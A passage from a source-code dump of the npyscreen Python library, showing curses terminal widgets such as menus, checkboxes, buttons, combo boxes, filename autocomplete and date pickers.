F.add(wgmultiline.Pager,) 88 | mlw_width = mlw.width-1 89 | if wrap: 90 | message = _wrap_message_lines(message, mlw_width) 91 | mlw.values = message 92 | F.editw = editw 93 | F.edit() 94 | return F.value 95 | 96 | -------------------------------------------------------------------------------- /npyscreen/util_viewhelp.py: -------------------------------------------------------------------------------- 1 | import textwrap 2 | 3 | 4 | def view_help(message, title="Message", form_color="STANDOUT", scroll_exit=False, autowrap=False): 5 | from . import fmForm 6 | from . import wgmultiline 7 | F = fmForm.Form(name=title, color=form_color) 8 | mlw = F.add(wgmultiline.Pager, scroll_exit=True, autowrap=autowrap) 9 | mlw_width = mlw.width-1 10 | 11 | message_lines = [] 12 | for line in message.splitlines(): 13 | line = textwrap.wrap(line, mlw_width) 14 | if line == []: 15 | message_lines.append('') 16 | else: 17 | message_lines.extend(line) 18 | mlw.values = message_lines 19 | F.edit() 20 | del mlw 21 | del F 22 | 23 | -------------------------------------------------------------------------------- /npyscreen/wgFormControlCheckbox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env pyton 2 | 3 | from . import wgcheckbox 4 | import weakref 5 | 6 | class FormControlCheckbox(wgcheckbox.Checkbox): 7 | def __init__(self, *args, **keywords): 8 | super(FormControlCheckbox, self).__init__(*args, **keywords) 9 | self._visibleWhenSelected = [] 10 | self._notVisibleWhenSelected = [] 11 | 12 | def addVisibleWhenSelected(self, w): 13 | """Add a widget to be visible only when this box is selected""" 14 | self._register(w, vws=True) 15 | 16 | def addInvisibleWhenSelected(self, w): 17 | self._register(w, vws=False) 18 | 19 | def _register(self, w, vws=True): 20 | if vws: 21 | working_list = self._visibleWhenSelected 22 | else: 23 | working_list = self._notVisibleWhenSelected 24 | 25 | if w in working_list: 26 | pass 27 | else: 28 | try: 29 | working_list.append(weakref.proxy(w)) 30 | except TypeError: 31 | working_list.append(w) 32 | 33 | self.updateDependents() 34 | 35 | def updateDependents(self): 36 | # This doesn't yet work. 37 | if self.value: 38 | for w in self._visibleWhenSelected: 39 | w.hidden = False 40 | w.editable = True 41 | for w in self._notVisibleWhenSelected: 42 | w.hidden = True 43 | w.editable = False 44 | else: 45 | for w in self._visibleWhenSelected: 46 | w.hidden = True 47 | w.editable = False 48 | for w in self._notVisibleWhenSelected: 49 | w.hidden = False 50 | w.editable = True 51 | self.parent.display() 52 | 53 | def h_toggle(self, *args): 54 | super(FormControlCheckbox, self).h_toggle(*args) 55 | self.updateDependents() 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /npyscreen/wgNMenuDisplay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | from . import muNewMenu as NewMenu 4 | from . import fmForm as Form 5 | from . import wgmultiline as multiline 6 | from . import wgannotatetextbox 7 | from . import utilNotify 8 | import weakref 9 | import curses 10 | 11 | class MenuViewerController(object): 12 | def __init__(self, menu=None): 13 | self.setMenu(menu) 14 | self.create() 15 | self._menuStack = [] 16 | self._editing = False 17 | 18 | def create(self): 19 | pass 20 | 21 | def setMenu(self, mnu): 22 | self._menuStack = [] 23 | self._setMenuWithoutResettingStack(mnu) 24 | 25 | def _setMenuWithoutResettingStack(self, mnu): 26 | self._menu = mnu 27 | self._DisplayArea._menuListWidget.value = None 28 | 29 | def _goToSubmenu(self, mnu): 30 | self._menuStack.append(self._menu) 31 | self._menu = mnu 32 | 33 | def _returnToPrevious(self): 34 | self._menu = self._menuStack.pop() 35 | 36 | 37 | def _executeSelection(self, sel): 38 | self._editing = False 39 | return sel() 40 | 41 | def edit(self): 42 | try: 43 | if self._menu is None: 44 | raise ValueError("No Menu Set") 45 | except AttributeError: 46 | raise ValueError("No Menu Set") 47 | self._editing = True 48 | while self._editing: 49 | if self._menu is not None: 50 | self._DisplayArea.name = self._menu.name 51 | if hasattr(self._menu, 'do_pre_display_function'): 52 | self._menu.do_pre_display_function() 53 | self._DisplayArea.display() 54 | self._DisplayArea._menuListWidget.value = None 55 | self._DisplayArea._menuListWidget.cursor_line = 0 56 | _menulines = [] 57 | _actionsToTake = [] 58 | if len(self._menuStack) > 0: 59 | _menulines.append(PreviousMenu()) 60 | _returnToPreviousSet = True 61 | _actionsToTake.append((self._returnToPrevious, )) 62 | else: 63 | _returnToPreviousSet = False 64 | 65 | for itm in self._menu.getItemObjects(): 66 | if isinstance(itm, NewMenu.MenuItem): 67 | _menulines.append(itm) 68 | _actionsToTake.append((self._executeSelection, itm.do)) 69 | elif isinstance(itm, NewMenu.NewMenu): 70 | _menulines.append(itm) 71 | _actionsToTake.append((self._goToSubmenu, itm)) 72 | else: 73 | raise ValueError("menu %s contains objects I don't know how to handle." % self._menu.name) 74 | 75 | 76 | self._DisplayArea._menuListWidget.values = _menulines 77 | self._DisplayArea.display() 78 | self._DisplayArea._menuListWidget.edit() 79 | _vlu = self._DisplayArea._menuListWidget.value 80 | if _vlu is None: 81 | self.editing = False 82 | return None 83 | try: 84 | _fctn = _actionsToTake[_vlu][0] 85 | _args = _actionsToTake[_vlu][1:] 86 | except IndexError: 87 | try: 88 | _fctn = _actionsToTake[_vlu] 89 | _args = [] 90 | except IndexError: 91 | # Menu must be empty. 92 | return False 93 | _return_value = _fctn(*_args) 94 | 95 | return _return_value 96 | 97 | 98 | class PreviousMenu(NewMenu.NewMenu): 99 | pass 100 | 101 | 102 | class MenuDisplay(MenuViewerController): 103 | def __init__(self, color='CONTROL', lines=15, columns=39, show_atx=5, show_aty=2, *args, **keywords): 104 | self._DisplayArea = MenuDisplayScreen(lines=lines, 105 | columns=columns, 106 | show_atx=show_atx, 107 | show_aty=show_aty, 108 | color=color) 109 | super(MenuDisplay, self).__init__(*args, **keywords) 110 | 111 | class MenuDisplayFullScreen(MenuViewerController): 112 | def __init__(self, *args, **keywords): 113 | self._DisplayArea = MenuDisplayScreen() 114 | super(MenuDisplayFullScreen, self).__init__(*args, **keywords) 115 | 116 | 117 | 118 | class wgMenuLine(wgannotatetextbox.AnnotateTextboxBaseRight): 119 | ANNOTATE_WIDTH = 3 120 | def getAnnotationAndColor(self,): 121 | try: 122 | if self.value.shortcut: 123 | return (self.safe_string(self.value.shortcut), 'LABEL') 124 | else: 125 | return ('', 'LABEL') 126 | except AttributeError: 127 | return ('', 'LABEL') 128 | 129 | def display_value(self, vl): 130 | # if this function raises an exception, it gets masked. 131 | # this is a bug. 132 | if not vl: 133 | return None 134 | if isinstance(vl, PreviousMenu): 135 | return '<-- Back' 136 | elif isinstance(vl, NewMenu.NewMenu): 137 | return ('%s -->' % self.safe_string(self.value.name)) 138 | elif isinstance(vl, NewMenu.MenuItem): 139 | return self.safe_string(self.value.getText()) 140 | else: 141 | return self.safe_string(str(self.value)) 142 | 143 | 144 | class wgMenuListWithSortCuts(multiline.MultiLineActionWithShortcuts): 145 | _contained_widgets = wgMenuLine 146 | def __init__(self, screen, allow_filtering=False, *args, **keywords): 147 | return super(wgMenuListWithSortCuts, self).__init__(screen, allow_filtering=allow_filtering, *args, **keywords) 148 | 149 | #def actionHighlighted(self, act_on_this, key_press): 150 | # if isinstance(act_on_this, MenuItem): 151 | # return act_on_this.do() 152 | # else: 153 | # return act_on_this 154 | def actionHighlighted(self, act_on_this, key_press): 155 | return self.h_select_exit(key_press) 156 | 157 | def display_value(self, vl): 158 | return vl 159 | 160 | class MenuDisplayScreen(Form.Form): 161 | def __init__(self, *args, **keywords): 162 | super(MenuDisplayScreen, self).__init__(*args, **keywords) 163 | #self._menuListWidget = self.add(multiline.MultiLine, return_exit=True) 164 | self._menuListWidget = self.add(wgMenuListWithSortCuts, return_exit=True) 165 | self._menuListWidget.add_handlers({ 166 | ord('q'): self._menuListWidget.h_exit_down, 167 | ord('Q'): self._menuListWidget.h_exit_down, 168 | ord('x'): self._menuListWidget.h_select_exit, 169 | curses.ascii.SP: self._menuListWidget.h_select_exit, 170 | }) 171 | 172 | class HasMenus(object): 173 | MENU_KEY = "^X" 174 | MENU_DISPLAY_TYPE = MenuDisplay 175 | MENU_WIDTH = None 176 | def initialize_menus(self): 177 | if self.MENU_WIDTH: 178 | self._NMDisplay = self.MENU_DISPLAY_TYPE(columns=self.MENU_WIDTH) 179 | else: 180 | self._NMDisplay = self.MENU_DISPLAY_TYPE() 181 | if not hasattr(self, '_NMenuList'): 182 | self._NMenuList = [] 183 | self._MainMenu = NewMenu.NewMenu 184 | self.add_handlers({self.__class__.MENU_KEY: self.root_menu}) 185 | 186 | def new_menu(self, name=None, *args, **keywords): 187 | if not hasattr(self, '_NMenuList'): 188 | self._NMenuList = [] 189 | _mnu = NewMenu.NewMenu(name=name, *args, **keywords) 190 | self._NMenuList.append(_mnu) 191 | return weakref.proxy(_mnu) 192 | 193 | def add_menu(self, *args, **keywords): 194 | return self.new_menu(*args, **keywords) 195 | 196 | def root_menu(self, *args): 197 | if len(self._NMenuList) == 1: 198 | self._NMDisplay.setMenu(self._NMenuList[0]) 199 | self._NMDisplay.edit() 200 | else: 201 | _root_menu = NewMenu.NewMenu(name="Menus") 202 | for mnu in self._NMenuList: 203 | _root_menu.addSubmenu(mnu) 204 | self._NMDisplay.setMenu(_root_menu) 205 | self._NMDisplay.edit() 206 | self.DISPLAY() 207 | 208 | def use_existing_menu(self, _mnu): 209 | if not hasattr(self, '_NMenuList'): 210 | self._NMenuList = [] 211 | self._NMenuList.append(_mnu) 212 | return weakref.proxy(_mnu) 213 | 214 | 215 | def popup_menu(self, menu): 216 | self._NMDisplay.setMenu(menu) 217 | self._NMDisplay.edit() 218 | 219 | 220 | 221 | 222 | -------------------------------------------------------------------------------- /npyscreen/wgannotatetextbox.py: -------------------------------------------------------------------------------- 1 | from . import wgwidget 2 | from .wgtextbox import Textfield 3 | 4 | 5 | 6 | class AnnotateTextboxBase(wgwidget.Widget): 7 | """A base class intented for customization. Note in particular the annotationColor and annotationNoColor methods 8 | which you should override.""" 9 | ANNOTATE_WIDTH = 5 10 | 11 | def __init__(self, screen, value = False, annotation_color='CONTROL', **keywords): 12 | self.value = value 13 | self.annotation_color = annotation_color 14 | super(AnnotateTextboxBase, self).__init__(screen, **keywords) 15 | 16 | self._init_text_area(screen) 17 | 18 | if hasattr(self, 'display_value'): 19 | self.text_area.display_value = self.display_value 20 | self.show_bold = False 21 | self.highlight = False 22 | self.important = False 23 | self.hide = False 24 | 25 | def _init_text_area(self, screen): 26 | self.text_area = Textfield(screen, rely=self.rely, relx=self.relx+self.ANNOTATE_WIDTH, 27 | width=self.width-self.ANNOTATE_WIDTH, value=self.name) 28 | 29 | def _display_annotation_at(self): 30 | return (self.rely, self.relx) 31 | 32 | 33 | def getAnnotationAndColor(self): 34 | return ('xxx', 'CONTROL') 35 | 36 | def annotationColor(self): 37 | displayy, displayx = self._display_annotation_at() 38 | _annotation, _color = self.getAnnotationAndColor() 39 | self.parent.curses_pad.addnstr(displayy, displayx, _annotation, self.ANNOTATE_WIDTH, self.parent.theme_manager.findPair(self, _color)) 40 | 41 | def annotationNoColor(self): 42 | displayy, displayx = self._display_annotation_at() 43 | _annotation, _color = self.getAnnotationAndColor() 44 | self.parent.curses_pad.addnstr(displayy, displayx, _annotation, self.ANNOTATE_WIDTH) 45 | 46 | def update(self, clear=True): 47 | if clear: 48 | self.clear() 49 | if self.hidden: 50 | self.clear() 51 | return False 52 | if self.hide: 53 | return True 54 | 55 | self.text_area.value = self.value 56 | 57 | if self.do_colors(): 58 | self.annotationColor() 59 | else: 60 | self.annotationNoColor() 61 | 62 | 63 | if self.editing: 64 | self.text_area.highlight = True 65 | else: 66 | self.text_area.highlight = False 67 | 68 | if self.show_bold: 69 | self.text_area.show_bold = True 70 | else: 71 | self.text_area.show_bold = False 72 | 73 | if self.important: 74 | self.text_area.important = True 75 | else: 76 | self.text_area.important = False 77 | 78 | if self.highlight: 79 | self.text_area.highlight = True 80 | else: 81 | self.text_area.highlight = False 82 | 83 | self.text_area.update(clear=clear) 84 | 85 | def calculate_area_needed(self): 86 | return 1,0 87 | 88 | class AnnotateTextboxBaseRight(AnnotateTextboxBase): 89 | def _init_text_area(self, screen): 90 | self.text_area = Textfield(screen, rely=self.rely, relx=self.relx, 91 | width=self.width-self.ANNOTATE_WIDTH, value=self.name) 92 | 93 | def _display_annotation_at(self): 94 | return (self.rely, self.relx+self.width-self.ANNOTATE_WIDTH) 95 | 96 | 97 | 98 | -------------------------------------------------------------------------------- /npyscreen/wgautocomplete.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import curses 3 | from . import wgtextbox as textbox 4 | from . import wgmultiline as multiline 5 | from . import wgtitlefield as titlefield 6 | import os 7 | from . import fmForm as Form 8 | from . import fmPopup as Popup 9 | 10 | class Autocomplete(textbox.Textfield): 11 | """This class is fairly useless, but override auto_complete to change that. See filename class for example""" 12 | def set_up_handlers(self): 13 | super(Autocomplete, self).set_up_handlers() 14 | 15 | self.handlers.update({curses.ascii.TAB: self.auto_complete}) 16 | 17 | def auto_complete(self, input): 18 | curses.beep() 19 | 20 | def get_choice(self, values): 21 | # If auto_complete needs the user to select from a list of values, this function lets them do that. 22 | 23 | #tmp_window = Form.TitleForm(name=self.name, framed=True) 24 | tmp_window = Popup.Popup(name=self.name, framed=True) 25 | sel = tmp_window.add_widget(multiline.MultiLine, 26 | values=values, 27 | value=self.value, 28 | return_exit=True, select_exit=True) 29 | #sel = multiline.MultiLine(tmp_window, values=values, value=self.value) 30 | tmp_window.display() 31 | sel.value=0 32 | sel.edit() 33 | return sel.value 34 | 35 | 36 | class Filename(Autocomplete): 37 | def auto_complete(self, input): 38 | # expand ~ 39 | self.value = os.path.expanduser(self.value) 40 | 41 | for i in range(1): 42 | dir, fname = os.path.split(self.value) 43 | # Let's have absolute paths. 44 | dir = os.path.abspath(dir) 45 | 46 | if self.value == '': 47 | self.value=dir 48 | break 49 | 50 | try: 51 | flist = os.listdir(dir) 52 | except: 53 | self.show_brief_message("Can't read directory!") 54 | break 55 | 56 | flist = [os.path.join(dir, x) for x in flist] 57 | possibilities = list(filter( 58 | (lambda x: os.path.split(x)[1].startswith(fname)), flist 59 | )) 60 | 61 | if len(possibilities) is 0: 62 | # can't complete 63 | curses.beep() 64 | break 65 | 66 | if len(possibilities) is 1: 67 | if self.value != possibilities[0]: 68 | self.value = possibilities[0] 69 | if os.path.isdir(self.value) \ 70 | and not self.value.endswith(os.sep): 71 | self.value = self.value + os.sep 72 | else: 73 | if not os.path.isdir(self.value): 74 | self.h_exit_down(None) 75 | break 76 | 77 | if len(possibilities) > 1: 78 | filelist = possibilities 79 | else: 80 | filelist = flist #os.listdir(os.path.dirname(self.value)) 81 | 82 | filelist = list(map((lambda x: os.path.normpath(os.path.join(self.value, x))), filelist)) 83 | files_only = [] 84 | dirs_only = [] 85 | 86 | if fname.startswith('.'): 87 | filelist = list(filter((lambda x: os.path.basename(x).startswith('.')), filelist)) 88 | else: 89 | filelist = list(filter((lambda x: not os.path.basename(x).startswith('.')), filelist)) 90 | 91 | for index1 in range(len(filelist)): 92 | if os.path.isdir(filelist[index1]) and not filelist[index1].endswith(os.sep): 93 | filelist[index1] = filelist[index1] + os.sep 94 | 95 | if os.path.isdir(filelist[index1]): 96 | dirs_only.append(filelist[index1]) 97 | 98 | else: 99 | files_only.append(filelist[index1]) 100 | 101 | dirs_only.sort() 102 | files_only.sort() 103 | combined_list = dirs_only + files_only 104 | combined_list.insert(0, self.value) 105 | self.value = combined_list[self.get_choice(combined_list)] 106 | break 107 | 108 | # Can't complete 109 | curses.beep() 110 | #os.path.normpath(self.value) 111 | os.path.normcase(self.value) 112 | self.cursor_position=len(self.value) 113 | 114 | class TitleFilename(titlefield.TitleText): 115 | _entry_type = Filename 116 | 117 | 118 | -------------------------------------------------------------------------------- /npyscreen/wgbutton.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import curses 3 | import locale 4 | import weakref 5 | from . import npysGlobalOptions as GlobalOptions 6 | from . import wgwidget as widget 7 | from . import wgcheckbox as checkbox 8 | 9 | class MiniButton(checkbox._ToggleControl): 10 | DEFAULT_CURSOR_COLOR = None 11 | def __init__(self, screen, name='Button', cursor_color=None, *args, **keywords): 12 | self.encoding = 'utf-8' 13 | self.cursor_color = cursor_color or self.__class__.DEFAULT_CURSOR_COLOR 14 | if GlobalOptions.ASCII_ONLY or locale.getpreferredencoding() == 'US-ASCII': 15 | self._force_ascii = True 16 | else: 17 | self._force_ascii = False 18 | self.name = self.safe_string(name) 19 | self.label_width = len(name) + 2 20 | super(MiniButton, self).__init__(screen, *args, **keywords) 21 | if 'color' in keywords: 22 | self.color = keywords['color'] 23 | else: 24 | self.color = 'CONTROL' 25 | 26 | def calculate_area_needed(self): 27 | return 1, self.label_width+2 28 | 29 | def update(self, clear=True): 30 | if clear: self.clear() 31 | if self.hidden: 32 | self.clear() 33 | return False 34 | 35 | 36 | if self.value and self.do_colors(): 37 | self.parent.curses_pad.addstr(self.rely, self.relx, '>', self.parent.theme_manager.findPair(self)) 38 | self.parent.curses_pad.addstr(self.rely, self.relx+self.width-1, '<', self.parent.theme_manager.findPair(self)) 39 | elif self.value: 40 | self.parent.curses_pad.addstr(self.rely, self.relx, '>') 41 | self.parent.curses_pad.addstr(self.rely, self.relx+self.width-1, '<') 42 | 43 | 44 | if self.editing: 45 | button_state = curses.A_STANDOUT 46 | else: 47 | button_state = curses.A_NORMAL 48 | 49 | button_name = self.name 50 | if isinstance(button_name, bytes): 51 | button_name = button_name.decode(self.encoding, 'replace') 52 | button_name = button_name.center(self.label_width) 53 | 54 | if self.do_colors(): 55 | if self.cursor_color: 56 | if self.editing: 57 | button_attributes = self.parent.theme_manager.findPair(self, self.cursor_color) 58 | else: 59 | button_attributes = self.parent.theme_manager.findPair(self, self.color) 60 | else: 61 | button_attributes = self.parent.theme_manager.findPair(self, self.color) | button_state 62 | else: 63 | button_attributes = button_state 64 | 65 | self.add_line(self.rely, self.relx+1, 66 | button_name, 67 | self.make_attributes_list(button_name, button_attributes), 68 | self.label_width 69 | ) 70 | 71 | 72 | class MiniButtonPress(MiniButton): 73 | # NB. The when_pressed_function functionality is potentially dangerous. It can set up 74 | # a circular reference that the garbage collector will never free. 75 | # If this is a risk for your program, it is best to subclass this object and 76 | # override when_pressed_function instead. Otherwise your program will leak memory. 77 | def __init__(self, screen, when_pressed_function=None, *args, **keywords): 78 | super(MiniButtonPress, self).__init__(screen, *args, **keywords) 79 | self.when_pressed_function = when_pressed_function 80 | 81 | def set_up_handlers(self): 82 | super(MiniButtonPress, self).set_up_handlers() 83 | 84 | self.handlers.update({ 85 | curses.ascii.NL: self.h_toggle, 86 | curses.ascii.CR: self.h_toggle, 87 | }) 88 | 89 | def destroy(self): 90 | self.when_pressed_function = None 91 | del self.when_pressed_function 92 | 93 | def h_toggle(self, ch): 94 | self.value = True 95 | self.display() 96 | if self.when_pressed_function: 97 | self.when_pressed_function() 98 | else: 99 | self.whenPressed() 100 | self.value = False 101 | self.display() 102 | 103 | def whenPressed(self): 104 | pass 105 | -------------------------------------------------------------------------------- /npyscreen/wgcheckbox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from .wgtextbox import Textfield 4 | from .wgwidget import Widget 5 | #from .wgmultiline import MultiLine 6 | from . import wgwidget as widget 7 | import curses 8 | 9 | class _ToggleControl(Widget): 10 | def set_up_handlers(self): 11 | super(_ToggleControl, self).set_up_handlers() 12 | 13 | self.handlers.update({ 14 | curses.ascii.SP: self.h_toggle, 15 | ord('x'): self.h_toggle, 16 | curses.ascii.NL: self.h_select_exit, 17 | curses.ascii.CR: self.h_select_exit, 18 | ord('j'): self.h_exit_down, 19 | ord('k'): self.h_exit_up, 20 | ord('h'): self.h_exit_left, 21 | ord('l'): self.h_exit_right, 22 | }) 23 | 24 | def h_toggle(self, ch): 25 | if self.value is False or self.value is None or self.value == 0: 26 | self.value = True 27 | else: 28 | self.value = False 29 | self.whenToggled() 30 | 31 | def whenToggled(self): 32 | pass 33 | 34 | def h_select_exit(self, ch): 35 | if not self.value: 36 | self.h_toggle(ch) 37 | self.editing = False 38 | self.how_exited = widget.EXITED_DOWN 39 | 40 | 41 | class CheckboxBare(_ToggleControl): 42 | False_box = '[ ]' 43 | True_box = '[X]' 44 | 45 | def __init__(self, screen, value = False, **keywords): 46 | super(CheckboxBare, self).__init__(screen, **keywords) 47 | self.value = value 48 | self.hide = False 49 | 50 | def calculate_area_needed(self): 51 | return 1, 4 52 | 53 | def update(self, clear=True): 54 | if clear: self.clear() 55 | if self.hidden: 56 | self.clear() 57 | return False 58 | if self.hide: return True 59 | 60 | if self.value: 61 | cb_display = self.__class__.True_box 62 | else: 63 | cb_display = self.__class__.False_box 64 | 65 | if self.do_colors(): 66 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display, self.parent.theme_manager.findPair(self, 'CONTROL')) 67 | else: 68 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display) 69 | 70 | if self.editing: 71 | if self.value: 72 | char_under_cur = 'X' 73 | else: 74 | char_under_cur = ' ' 75 | if self.do_colors(): 76 | self.parent.curses_pad.addstr(self.rely, self.relx + 1, char_under_cur, self.parent.theme_manager.findPair(self) | curses.A_STANDOUT) 77 | else: 78 | self.parent.curses_pad.addstr(self.rely, self.relx + 1, curses.A_STANDOUT) 79 | 80 | 81 | 82 | 83 | 84 | 85 | class Checkbox(_ToggleControl): 86 | False_box = '[ ]' 87 | True_box = '[X]' 88 | 89 | def __init__(self, screen, value = False, **keywords): 90 | self.value = value 91 | super(Checkbox, self).__init__(screen, **keywords) 92 | 93 | self._create_label_area(screen) 94 | 95 | 96 | self.show_bold = False 97 | self.highlight = False 98 | self.important = False 99 | self.hide = False 100 | 101 | def _create_label_area(self, screen): 102 | l_a_width = self.width - 5 103 | 104 | if l_a_width < 1: 105 | raise ValueError("Width of checkbox + label must be at least 6") 106 | 107 | self.label_area = Textfield(screen, rely=self.rely, relx=self.relx+5, 108 | width=self.width-5, value=self.name) 109 | 110 | 111 | def update(self, clear=True): 112 | if clear: self.clear() 113 | if self.hidden: 114 | self.clear() 115 | return False 116 | if self.hide: return True 117 | 118 | if self.value: 119 | cb_display = self.__class__.True_box 120 | else: 121 | cb_display = self.__class__.False_box 122 | 123 | if self.do_colors(): 124 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display, self.parent.theme_manager.findPair(self, 'CONTROL')) 125 | else: 126 | self.parent.curses_pad.addstr(self.rely, self.relx, cb_display) 127 | 128 | self._update_label_area() 129 | 130 | def _update_label_area(self, clear=True): 131 | self.label_area.value = self.name 132 | self._update_label_row_attributes(self.label_area, clear=clear) 133 | 134 | def _update_label_row_attributes(self, row, clear=True): 135 | if self.editing: 136 | row.highlight = True 137 | else: 138 | row.highlight = False 139 | 140 | if self.show_bold: 141 | row.show_bold = True 142 | else: 143 | row.show_bold = False 144 | 145 | if self.important: 146 | row.important = True 147 | else: 148 | row.important = False 149 | 150 | if self.highlight: 151 | row.highlight = True 152 | else: 153 | row.highlight = False 154 | 155 | row.update(clear=clear) 156 | 157 | def calculate_area_needed(self): 158 | return 1,0 159 | 160 | class CheckBox(Checkbox): 161 | pass 162 | 163 | 164 | class RoundCheckBox(Checkbox): 165 | False_box = '( )' 166 | True_box = '(X)' 167 | 168 | class CheckBoxMultiline(Checkbox): 169 | def _create_label_area(self, screen): 170 | self.label_area = [] 171 | for y in range(self.height): 172 | self.label_area.append( 173 | Textfield(screen, rely=self.rely+y, 174 | relx=self.relx+5, 175 | width=self.width-5, 176 | value=None) 177 | ) 178 | 179 | def _update_label_area(self, clear=True): 180 | for x in range(len(self.label_area)): 181 | if x >= len(self.name): 182 | self.label_area[x].value = '' 183 | self.label_area[x].hidden = True 184 | else: 185 | self.label_area[x].value = self.name[x] 186 | self.label_area[x].hidden = False 187 | self._update_label_row_attributes(self.label_area[x], clear=clear) 188 | 189 | def calculate_area_needed(self): 190 | return 0,0 191 | 192 | class RoundCheckBoxMultiline(CheckBoxMultiline): 193 | False_box = '( )' 194 | True_box = '(X)' 195 | 196 | 197 | -------------------------------------------------------------------------------- /npyscreen/wgcombobox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import curses 3 | 4 | from . import wgtextbox as textbox 5 | from . import wgmultiline as multiline 6 | from . import fmForm as Form 7 | from . import fmPopup as Popup 8 | from . import wgtitlefield as titlefield 9 | 10 | class ComboBox(textbox.Textfield): 11 | ENSURE_STRING_VALUE = False 12 | def __init__(self, screen, value = None, values=None,**keywords): 13 | self.values = values or [] 14 | self.value = value or None 15 | if value is 0: 16 | self.value = 0 17 | super(ComboBox, self).__init__(screen, **keywords) 18 | 19 | def display_value(self, vl): 20 | """Overload this function to change how values are displayed. 21 | Should accept one argument (the object to be represented), and return a string.""" 22 | return str(vl) 23 | 24 | def update(self, **keywords): 25 | keywords.update({'cursor': False}) 26 | super(ComboBox, self).update(**keywords) 27 | 28 | def _print(self): 29 | if self.value == None or self.value is '': 30 | printme = '-unset-' 31 | else: 32 | try: 33 | printme = self.display_value(self.values[self.value]) 34 | except IndexError: 35 | printme = '-error-' 36 | if self.do_colors(): 37 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width, self.parent.theme_manager.findPair(self)) 38 | else: 39 | self.parent.curses_pad.addnstr(self.rely, self.relx, printme, self.width) 40 | 41 | 42 | def edit(self): 43 | #We'll just use the widget one 44 | super(textbox.Textfield, self).edit() 45 | 46 | def set_up_handlers(self): 47 | super(textbox.Textfield, self).set_up_handlers() 48 | 49 | self.handlers.update({curses.ascii.SP: self.h_change_value, 50 | #curses.ascii.TAB: self.h_change_value, 51 | curses.ascii.NL: self.h_change_value, 52 | curses.ascii.CR: self.h_change_value, 53 | ord('x'): self.h_change_value, 54 | ord('k'): self.h_exit_up, 55 | ord('j'): self.h_exit_down, 56 | ord('h'): self.h_exit_left, 57 | ord('l'): self.h_exit_right, 58 | }) 59 | 60 | def h_change_value(self, input): 61 | "Pop up a window in which to select the values for the field" 62 | F = Popup.Popup(name = self.name) 63 | l = F.add(multiline.MultiLine, 64 | values = [self.display_value(x) for x in self.values], 65 | return_exit=True, select_exit=True, 66 | value=self.value) 67 | F.display() 68 | l.edit() 69 | self.value = l.value 70 | 71 | 72 | class TitleCombo(titlefield.TitleText): 73 | _entry_type = ComboBox 74 | 75 | def get_values(self): 76 | try: 77 | return self.entry_widget.values 78 | except: 79 | try: 80 | return self.__tmp_values 81 | except: 82 | return None 83 | 84 | def set_values(self, values): 85 | try: 86 | self.entry_widget.values = values 87 | except: 88 | # probably trying to set the value before the textarea is initialised 89 | self.__tmp_values = values 90 | 91 | def del_values(self): 92 | del self.entry_widget.values 93 | 94 | values = property(get_values, set_values, del_values) 95 | 96 | -------------------------------------------------------------------------------- /npyscreen/wgdatecombo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from . import wgtextbox as textbox 3 | from . import wgtitlefield as titlefield 4 | from . import wgmonthbox as monthbox 5 | from . import fmPopup as Popup 6 | from . import fmForm as Form 7 | import datetime 8 | import curses 9 | 10 | 11 | class DateCombo(textbox.Textfield, monthbox.DateEntryBase): 12 | def __init__(self, screen, allowPastDate=True, allowTodaysDate=True, allowClear=True, **keywords): 13 | super(DateCombo, self).__init__(screen, **keywords) 14 | self.allow_date_in_past = allowPastDate 15 | self.allow_todays_date = allowTodaysDate 16 | self.allow_clear = allowClear 17 | 18 | def update(self, **keywords): 19 | keywords.update({'cursor': False}) 20 | super(DateCombo, self).update(**keywords) 21 | 22 | def edit(self): 23 | #We'll just use the widget one 24 | super(textbox.Textfield, self).edit() 25 | 26 | def display_value(self, vl): 27 | if self.value: 28 | try: 29 | # in python 2.4 this will raise ValueError if date is before 1900 30 | #return self.value.strftime("%a, %d %B, %Y") 31 | return self.value.strftime("%d %B, %Y") 32 | except ValueError: 33 | return self.value.isoformat() 34 | except AttributeError: 35 | return "-error-" 36 | else: 37 | return "-unset-" 38 | 39 | def _print(self): 40 | if self.do_colors(): 41 | self.parent.curses_pad.addnstr(self.rely, self.relx, self.display_value(self.value), self.width, self.parent.theme_manager.findPair(self,)) 42 | else: 43 | self.parent.curses_pad.addnstr(self.rely, self.relx, self.display_value(self.value), self.width) 44 | 45 | def h_change_value(self, *arg): 46 | # Remember to leave extra space at the end of the popup, or the clear function can't work properly. 47 | _old_date = self.value 48 | F = Popup.Popup(name = self.name, 49 | columns = (monthbox.MonthBox.DAY_FIELD_WIDTH * 7) + 4, 50 | lines=13, 51 | ) 52 | #F = Form.Form() 53 | m = F.add(monthbox.MonthBox, 54 | allowPastDate = self.allow_date_in_past, 55 | allowTodaysDate = self.allow_todays_date, 56 | use_max_space = True, 57 | use_datetime = self.use_datetime, 58 | allowClear = self.allow_clear, 59 | ) 60 | try: 61 | # Is it a date, do we think? 62 | self.value.isoformat() 63 | m.value = self.value 64 | except: 65 | # if not, we could do worse than today 66 | m.value = self.date_or_datetime().today() 67 | # But make sure that that is acceptable 68 | m._check_today_validity() 69 | F.display() 70 | m.edit() 71 | self.value = m.value 72 | # The following is perhaps confusing. 73 | #if self.value == _old_date: 74 | # self.h_exit_down('') 75 | 76 | def set_up_handlers(self): 77 | super(textbox.Textfield, self).set_up_handlers() 78 | self.handlers.update({curses.ascii.SP: self.h_change_value, 79 | #curses.ascii.TAB: self.h_change_value, 80 | curses.ascii.CR: self.h_change_value, 81 | curses.ascii.NL: self.h_change_value, 82 | ord('x'): self.h_change_value, 83 | ord('j'): self.h_exit_down, 84 | ord('k'): self.h_exit_up, 85 | }) 86 | 87 | class TitleDateCombo(titlefield.TitleText): 88 | _entry_type = DateCombo 89 | 90 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /npyscreen/wgfilenamecombo.py: -------------------------------------------------------------------------------- 1 | from . import 